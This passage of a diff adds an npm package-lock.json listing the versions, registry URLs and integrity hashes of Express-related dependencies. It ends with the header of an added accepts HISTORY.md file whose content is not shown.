"node_modules/forwarded": {
|
277 |
+
"version": "0.2.0",
|
278 |
+
"resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
|
279 |
+
"integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
|
280 |
+
"license": "MIT",
|
281 |
+
"engines": {
|
282 |
+
"node": ">= 0.6"
|
283 |
+
}
|
284 |
+
},
|
285 |
+
"node_modules/fresh": {
|
286 |
+
"version": "2.0.0",
|
287 |
+
"resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz",
|
288 |
+
"integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==",
|
289 |
+
"license": "MIT",
|
290 |
+
"engines": {
|
291 |
+
"node": ">= 0.8"
|
292 |
+
}
|
293 |
+
},
|
294 |
+
"node_modules/function-bind": {
|
295 |
+
"version": "1.1.2",
|
296 |
+
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
|
297 |
+
"integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
|
298 |
+
"license": "MIT",
|
299 |
+
"funding": {
|
300 |
+
"url": "https://github.com/sponsors/ljharb"
|
301 |
+
}
|
302 |
+
},
|
303 |
+
"node_modules/get-intrinsic": {
|
304 |
+
"version": "1.3.0",
|
305 |
+
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
|
306 |
+
"integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
|
307 |
+
"license": "MIT",
|
308 |
+
"dependencies": {
|
309 |
+
"call-bind-apply-helpers": "^1.0.2",
|
310 |
+
"es-define-property": "^1.0.1",
|
311 |
+
"es-errors": "^1.3.0",
|
312 |
+
"es-object-atoms": "^1.1.1",
|
313 |
+
"function-bind": "^1.1.2",
|
314 |
+
"get-proto": "^1.0.1",
|
315 |
+
"gopd": "^1.2.0",
|
316 |
+
"has-symbols": "^1.1.0",
|
317 |
+
"hasown": "^2.0.2",
|
318 |
+
"math-intrinsics": "^1.1.0"
|
319 |
+
},
|
320 |
+
"engines": {
|
321 |
+
"node": ">= 0.4"
|
322 |
+
},
|
323 |
+
"funding": {
|
324 |
+
"url": "https://github.com/sponsors/ljharb"
|
325 |
+
}
|
326 |
+
},
|
327 |
+
"node_modules/get-proto": {
|
328 |
+
"version": "1.0.1",
|
329 |
+
"resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
|
330 |
+
"integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
|
331 |
+
"license": "MIT",
|
332 |
+
"dependencies": {
|
333 |
+
"dunder-proto": "^1.0.1",
|
334 |
+
"es-object-atoms": "^1.0.0"
|
335 |
+
},
|
336 |
+
"engines": {
|
337 |
+
"node": ">= 0.4"
|
338 |
+
}
|
339 |
+
},
|
340 |
+
"node_modules/gopd": {
|
341 |
+
"version": "1.2.0",
|
342 |
+
"resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
|
343 |
+
"integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
|
344 |
+
"license": "MIT",
|
345 |
+
"engines": {
|
346 |
+
"node": ">= 0.4"
|
347 |
+
},
|
348 |
+
"funding": {
|
349 |
+
"url": "https://github.com/sponsors/ljharb"
|
350 |
+
}
|
351 |
+
},
|
352 |
+
"node_modules/has-symbols": {
|
353 |
+
"version": "1.1.0",
|
354 |
+
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
|
355 |
+
"integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
|
356 |
+
"license": "MIT",
|
357 |
+
"engines": {
|
358 |
+
"node": ">= 0.4"
|
359 |
+
},
|
360 |
+
"funding": {
|
361 |
+
"url": "https://github.com/sponsors/ljharb"
|
362 |
+
}
|
363 |
+
},
|
364 |
+
"node_modules/hasown": {
|
365 |
+
"version": "2.0.2",
|
366 |
+
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
|
367 |
+
"integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
|
368 |
+
"license": "MIT",
|
369 |
+
"dependencies": {
|
370 |
+
"function-bind": "^1.1.2"
|
371 |
+
},
|
372 |
+
"engines": {
|
373 |
+
"node": ">= 0.4"
|
374 |
+
}
|
375 |
+
},
|
376 |
+
"node_modules/http-errors": {
|
377 |
+
"version": "2.0.0",
|
378 |
+
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
|
379 |
+
"integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
|
380 |
+
"license": "MIT",
|
381 |
+
"dependencies": {
|
382 |
+
"depd": "2.0.0",
|
383 |
+
"inherits": "2.0.4",
|
384 |
+
"setprototypeof": "1.2.0",
|
385 |
+
"statuses": "2.0.1",
|
386 |
+
"toidentifier": "1.0.1"
|
387 |
+
},
|
388 |
+
"engines": {
|
389 |
+
"node": ">= 0.8"
|
390 |
+
}
|
391 |
+
},
|
392 |
+
"node_modules/http-errors/node_modules/statuses": {
|
393 |
+
"version": "2.0.1",
|
394 |
+
"resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
|
395 |
+
"integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
|
396 |
+
"license": "MIT",
|
397 |
+
"engines": {
|
398 |
+
"node": ">= 0.8"
|
399 |
+
}
|
400 |
+
},
|
401 |
+
"node_modules/iconv-lite": {
|
402 |
+
"version": "0.6.3",
|
403 |
+
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
|
404 |
+
"integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
|
405 |
+
"license": "MIT",
|
406 |
+
"dependencies": {
|
407 |
+
"safer-buffer": ">= 2.1.2 < 3.0.0"
|
408 |
+
},
|
409 |
+
"engines": {
|
410 |
+
"node": ">=0.10.0"
|
411 |
+
}
|
412 |
+
},
|
413 |
+
"node_modules/inherits": {
|
414 |
+
"version": "2.0.4",
|
415 |
+
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
|
416 |
+
"integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
|
417 |
+
"license": "ISC"
|
418 |
+
},
|
419 |
+
"node_modules/ipaddr.js": {
|
420 |
+
"version": "1.9.1",
|
421 |
+
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
|
422 |
+
"integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
|
423 |
+
"license": "MIT",
|
424 |
+
"engines": {
|
425 |
+
"node": ">= 0.10"
|
426 |
+
}
|
427 |
+
},
|
428 |
+
"node_modules/is-promise": {
|
429 |
+
"version": "4.0.0",
|
430 |
+
"resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",
|
431 |
+
"integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==",
|
432 |
+
"license": "MIT"
|
433 |
+
},
|
434 |
+
"node_modules/math-intrinsics": {
|
435 |
+
"version": "1.1.0",
|
436 |
+
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
|
437 |
+
"integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
|
438 |
+
"license": "MIT",
|
439 |
+
"engines": {
|
440 |
+
"node": ">= 0.4"
|
441 |
+
}
|
442 |
+
},
|
443 |
+
"node_modules/media-typer": {
|
444 |
+
"version": "1.1.0",
|
445 |
+
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz",
|
446 |
+
"integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==",
|
447 |
+
"license": "MIT",
|
448 |
+
"engines": {
|
449 |
+
"node": ">= 0.8"
|
450 |
+
}
|
451 |
+
},
|
452 |
+
"node_modules/merge-descriptors": {
|
453 |
+
"version": "2.0.0",
|
454 |
+
"resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",
|
455 |
+
"integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==",
|
456 |
+
"license": "MIT",
|
457 |
+
"engines": {
|
458 |
+
"node": ">=18"
|
459 |
+
},
|
460 |
+
"funding": {
|
461 |
+
"url": "https://github.com/sponsors/sindresorhus"
|
462 |
+
}
|
463 |
+
},
|
464 |
+
"node_modules/mime-db": {
|
465 |
+
"version": "1.54.0",
|
466 |
+
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
|
467 |
+
"integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
|
468 |
+
"license": "MIT",
|
469 |
+
"engines": {
|
470 |
+
"node": ">= 0.6"
|
471 |
+
}
|
472 |
+
},
|
473 |
+
"node_modules/mime-types": {
|
474 |
+
"version": "3.0.1",
|
475 |
+
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.1.tgz",
|
476 |
+
"integrity": "sha512-xRc4oEhT6eaBpU1XF7AjpOFD+xQmXNB5OVKwp4tqCuBpHLS/ZbBDrc07mYTDqVMg6PfxUjjNp85O6Cd2Z/5HWA==",
|
477 |
+
"license": "MIT",
|
478 |
+
"dependencies": {
|
479 |
+
"mime-db": "^1.54.0"
|
480 |
+
},
|
481 |
+
"engines": {
|
482 |
+
"node": ">= 0.6"
|
483 |
+
}
|
484 |
+
},
|
485 |
+
"node_modules/ms": {
|
486 |
+
"version": "2.1.3",
|
487 |
+
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
|
488 |
+
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
|
489 |
+
"license": "MIT"
|
490 |
+
},
|
491 |
+
"node_modules/negotiator": {
|
492 |
+
"version": "1.0.0",
|
493 |
+
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz",
|
494 |
+
"integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==",
|
495 |
+
"license": "MIT",
|
496 |
+
"engines": {
|
497 |
+
"node": ">= 0.6"
|
498 |
+
}
|
499 |
+
},
|
500 |
+
"node_modules/object-inspect": {
|
501 |
+
"version": "1.13.4",
|
502 |
+
"resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
|
503 |
+
"integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
|
504 |
+
"license": "MIT",
|
505 |
+
"engines": {
|
506 |
+
"node": ">= 0.4"
|
507 |
+
},
|
508 |
+
"funding": {
|
509 |
+
"url": "https://github.com/sponsors/ljharb"
|
510 |
+
}
|
511 |
+
},
|
512 |
+
"node_modules/on-finished": {
|
513 |
+
"version": "2.4.1",
|
514 |
+
"resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
|
515 |
+
"integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
|
516 |
+
"license": "MIT",
|
517 |
+
"dependencies": {
|
518 |
+
"ee-first": "1.1.1"
|
519 |
+
},
|
520 |
+
"engines": {
|
521 |
+
"node": ">= 0.8"
|
522 |
+
}
|
523 |
+
},
|
524 |
+
"node_modules/once": {
|
525 |
+
"version": "1.4.0",
|
526 |
+
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
|
527 |
+
"integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
|
528 |
+
"license": "ISC",
|
529 |
+
"dependencies": {
|
530 |
+
"wrappy": "1"
|
531 |
+
}
|
532 |
+
},
|
533 |
+
"node_modules/parseurl": {
|
534 |
+
"version": "1.3.3",
|
535 |
+
"resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
|
536 |
+
"integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
|
537 |
+
"license": "MIT",
|
538 |
+
"engines": {
|
539 |
+
"node": ">= 0.8"
|
540 |
+
}
|
541 |
+
},
|
542 |
+
"node_modules/path-to-regexp": {
|
543 |
+
"version": "8.2.0",
|
544 |
+
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.2.0.tgz",
|
545 |
+
"integrity": "sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ==",
|
546 |
+
"license": "MIT",
|
547 |
+
"engines": {
|
548 |
+
"node": ">=16"
|
549 |
+
}
|
550 |
+
},
|
551 |
+
"node_modules/proxy-addr": {
|
552 |
+
"version": "2.0.7",
|
553 |
+
"resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
|
554 |
+
"integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
|
555 |
+
"license": "MIT",
|
556 |
+
"dependencies": {
|
557 |
+
"forwarded": "0.2.0",
|
558 |
+
"ipaddr.js": "1.9.1"
|
559 |
+
},
|
560 |
+
"engines": {
|
561 |
+
"node": ">= 0.10"
|
562 |
+
}
|
563 |
+
},
|
564 |
+
"node_modules/qs": {
|
565 |
+
"version": "6.14.0",
|
566 |
+
"resolved": "https://registry.npmjs.org/qs/-/qs-6.14.0.tgz",
|
567 |
+
"integrity": "sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==",
|
568 |
+
"license": "BSD-3-Clause",
|
569 |
+
"dependencies": {
|
570 |
+
"side-channel": "^1.1.0"
|
571 |
+
},
|
572 |
+
"engines": {
|
573 |
+
"node": ">=0.6"
|
574 |
+
},
|
575 |
+
"funding": {
|
576 |
+
"url": "https://github.com/sponsors/ljharb"
|
577 |
+
}
|
578 |
+
},
|
579 |
+
"node_modules/range-parser": {
|
580 |
+
"version": "1.2.1",
|
581 |
+
"resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
|
582 |
+
"integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
|
583 |
+
"license": "MIT",
|
584 |
+
"engines": {
|
585 |
+
"node": ">= 0.6"
|
586 |
+
}
|
587 |
+
},
|
588 |
+
"node_modules/raw-body": {
|
589 |
+
"version": "3.0.0",
|
590 |
+
"resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.0.tgz",
|
591 |
+
"integrity": "sha512-RmkhL8CAyCRPXCE28MMH0z2PNWQBNk2Q09ZdxM9IOOXwxwZbN+qbWaatPkdkWIKL2ZVDImrN/pK5HTRz2PcS4g==",
|
592 |
+
"license": "MIT",
|
593 |
+
"dependencies": {
|
594 |
+
"bytes": "3.1.2",
|
595 |
+
"http-errors": "2.0.0",
|
596 |
+
"iconv-lite": "0.6.3",
|
597 |
+
"unpipe": "1.0.0"
|
598 |
+
},
|
599 |
+
"engines": {
|
600 |
+
"node": ">= 0.8"
|
601 |
+
}
|
602 |
+
},
|
603 |
+
"node_modules/router": {
|
604 |
+
"version": "2.2.0",
|
605 |
+
"resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz",
|
606 |
+
"integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==",
|
607 |
+
"license": "MIT",
|
608 |
+
"dependencies": {
|
609 |
+
"debug": "^4.4.0",
|
610 |
+
"depd": "^2.0.0",
|
611 |
+
"is-promise": "^4.0.0",
|
612 |
+
"parseurl": "^1.3.3",
|
613 |
+
"path-to-regexp": "^8.0.0"
|
614 |
+
},
|
615 |
+
"engines": {
|
616 |
+
"node": ">= 18"
|
617 |
+
}
|
618 |
+
},
|
619 |
+
"node_modules/safe-buffer": {
|
620 |
+
"version": "5.2.1",
|
621 |
+
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
|
622 |
+
"integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
|
623 |
+
"funding": [
|
624 |
+
{
|
625 |
+
"type": "github",
|
626 |
+
"url": "https://github.com/sponsors/feross"
|
627 |
+
},
|
628 |
+
{
|
629 |
+
"type": "patreon",
|
630 |
+
"url": "https://www.patreon.com/feross"
|
631 |
+
},
|
632 |
+
{
|
633 |
+
"type": "consulting",
|
634 |
+
"url": "https://feross.org/support"
|
635 |
+
}
|
636 |
+
],
|
637 |
+
"license": "MIT"
|
638 |
+
},
|
639 |
+
"node_modules/safer-buffer": {
|
640 |
+
"version": "2.1.2",
|
641 |
+
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
|
642 |
+
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
|
643 |
+
"license": "MIT"
|
644 |
+
},
|
645 |
+
"node_modules/send": {
|
646 |
+
"version": "1.2.0",
|
647 |
+
"resolved": "https://registry.npmjs.org/send/-/send-1.2.0.tgz",
|
648 |
+
"integrity": "sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw==",
|
649 |
+
"license": "MIT",
|
650 |
+
"dependencies": {
|
651 |
+
"debug": "^4.3.5",
|
652 |
+
"encodeurl": "^2.0.0",
|
653 |
+
"escape-html": "^1.0.3",
|
654 |
+
"etag": "^1.8.1",
|
655 |
+
"fresh": "^2.0.0",
|
656 |
+
"http-errors": "^2.0.0",
|
657 |
+
"mime-types": "^3.0.1",
|
658 |
+
"ms": "^2.1.3",
|
659 |
+
"on-finished": "^2.4.1",
|
660 |
+
"range-parser": "^1.2.1",
|
661 |
+
"statuses": "^2.0.1"
|
662 |
+
},
|
663 |
+
"engines": {
|
664 |
+
"node": ">= 18"
|
665 |
+
}
|
666 |
+
},
|
667 |
+
"node_modules/serve-static": {
|
668 |
+
"version": "2.2.0",
|
669 |
+
"resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.0.tgz",
|
670 |
+
"integrity": "sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ==",
|
671 |
+
"license": "MIT",
|
672 |
+
"dependencies": {
|
673 |
+
"encodeurl": "^2.0.0",
|
674 |
+
"escape-html": "^1.0.3",
|
675 |
+
"parseurl": "^1.3.3",
|
676 |
+
"send": "^1.2.0"
|
677 |
+
},
|
678 |
+
"engines": {
|
679 |
+
"node": ">= 18"
|
680 |
+
}
|
681 |
+
},
|
682 |
+
"node_modules/setprototypeof": {
|
683 |
+
"version": "1.2.0",
|
684 |
+
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
|
685 |
+
"integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
|
686 |
+
"license": "ISC"
|
687 |
+
},
|
688 |
+
"node_modules/side-channel": {
|
689 |
+
"version": "1.1.0",
|
690 |
+
"resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
|
691 |
+
"integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
|
692 |
+
"license": "MIT",
|
693 |
+
"dependencies": {
|
694 |
+
"es-errors": "^1.3.0",
|
695 |
+
"object-inspect": "^1.13.3",
|
696 |
+
"side-channel-list": "^1.0.0",
|
697 |
+
"side-channel-map": "^1.0.1",
|
698 |
+
"side-channel-weakmap": "^1.0.2"
|
699 |
+
},
|
700 |
+
"engines": {
|
701 |
+
"node": ">= 0.4"
|
702 |
+
},
|
703 |
+
"funding": {
|
704 |
+
"url": "https://github.com/sponsors/ljharb"
|
705 |
+
}
|
706 |
+
},
|
707 |
+
"node_modules/side-channel-list": {
|
708 |
+
"version": "1.0.0",
|
709 |
+
"resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
|
710 |
+
"integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
|
711 |
+
"license": "MIT",
|
712 |
+
"dependencies": {
|
713 |
+
"es-errors": "^1.3.0",
|
714 |
+
"object-inspect": "^1.13.3"
|
715 |
+
},
|
716 |
+
"engines": {
|
717 |
+
"node": ">= 0.4"
|
718 |
+
},
|
719 |
+
"funding": {
|
720 |
+
"url": "https://github.com/sponsors/ljharb"
|
721 |
+
}
|
722 |
+
},
|
723 |
+
"node_modules/side-channel-map": {
|
724 |
+
"version": "1.0.1",
|
725 |
+
"resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
|
726 |
+
"integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
|
727 |
+
"license": "MIT",
|
728 |
+
"dependencies": {
|
729 |
+
"call-bound": "^1.0.2",
|
730 |
+
"es-errors": "^1.3.0",
|
731 |
+
"get-intrinsic": "^1.2.5",
|
732 |
+
"object-inspect": "^1.13.3"
|
733 |
+
},
|
734 |
+
"engines": {
|
735 |
+
"node": ">= 0.4"
|
736 |
+
},
|
737 |
+
"funding": {
|
738 |
+
"url": "https://github.com/sponsors/ljharb"
|
739 |
+
}
|
740 |
+
},
|
741 |
+
"node_modules/side-channel-weakmap": {
|
742 |
+
"version": "1.0.2",
|
743 |
+
"resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
|
744 |
+
"integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
|
745 |
+
"license": "MIT",
|
746 |
+
"dependencies": {
|
747 |
+
"call-bound": "^1.0.2",
|
748 |
+
"es-errors": "^1.3.0",
|
749 |
+
"get-intrinsic": "^1.2.5",
|
750 |
+
"object-inspect": "^1.13.3",
|
751 |
+
"side-channel-map": "^1.0.1"
|
752 |
+
},
|
753 |
+
"engines": {
|
754 |
+
"node": ">= 0.4"
|
755 |
+
},
|
756 |
+
"funding": {
|
757 |
+
"url": "https://github.com/sponsors/ljharb"
|
758 |
+
}
|
759 |
+
},
|
760 |
+
"node_modules/statuses": {
|
761 |
+
"version": "2.0.2",
|
762 |
+
"resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
|
763 |
+
"integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
|
764 |
+
"license": "MIT",
|
765 |
+
"engines": {
|
766 |
+
"node": ">= 0.8"
|
767 |
+
}
|
768 |
+
},
|
769 |
+
"node_modules/toidentifier": {
|
770 |
+
"version": "1.0.1",
|
771 |
+
"resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
|
772 |
+
"integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
|
773 |
+
"license": "MIT",
|
774 |
+
"engines": {
|
775 |
+
"node": ">=0.6"
|
776 |
+
}
|
777 |
+
},
|
778 |
+
"node_modules/type-is": {
|
779 |
+
"version": "2.0.1",
|
780 |
+
"resolved": "https://registry.npmjs.org/type-is/-/type-is-2.0.1.tgz",
|
781 |
+
"integrity": "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==",
|
782 |
+
"license": "MIT",
|
783 |
+
"dependencies": {
|
784 |
+
"content-type": "^1.0.5",
|
785 |
+
"media-typer": "^1.1.0",
|
786 |
+
"mime-types": "^3.0.0"
|
787 |
+
},
|
788 |
+
"engines": {
|
789 |
+
"node": ">= 0.6"
|
790 |
+
}
|
791 |
+
},
|
792 |
+
"node_modules/unpipe": {
|
793 |
+
"version": "1.0.0",
|
794 |
+
"resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
|
795 |
+
"integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
|
796 |
+
"license": "MIT",
|
797 |
+
"engines": {
|
798 |
+
"node": ">= 0.8"
|
799 |
+
}
|
800 |
+
},
|
801 |
+
"node_modules/vary": {
|
802 |
+
"version": "1.1.2",
|
803 |
+
"resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
|
804 |
+
"integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
|
805 |
+
"license": "MIT",
|
806 |
+
"engines": {
|
807 |
+
"node": ">= 0.8"
|
808 |
+
}
|
809 |
+
},
|
810 |
+
"node_modules/wrappy": {
|
811 |
+
"version": "1.0.2",
|
812 |
+
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
|
813 |
+
"integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
|
814 |
+
"license": "ISC"
|
815 |
+
}
|
816 |
+
}
|
817 |
+
}
|
node_modules/accepts/HISTORY.md
ADDED
@@ -0,0 +1,250 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
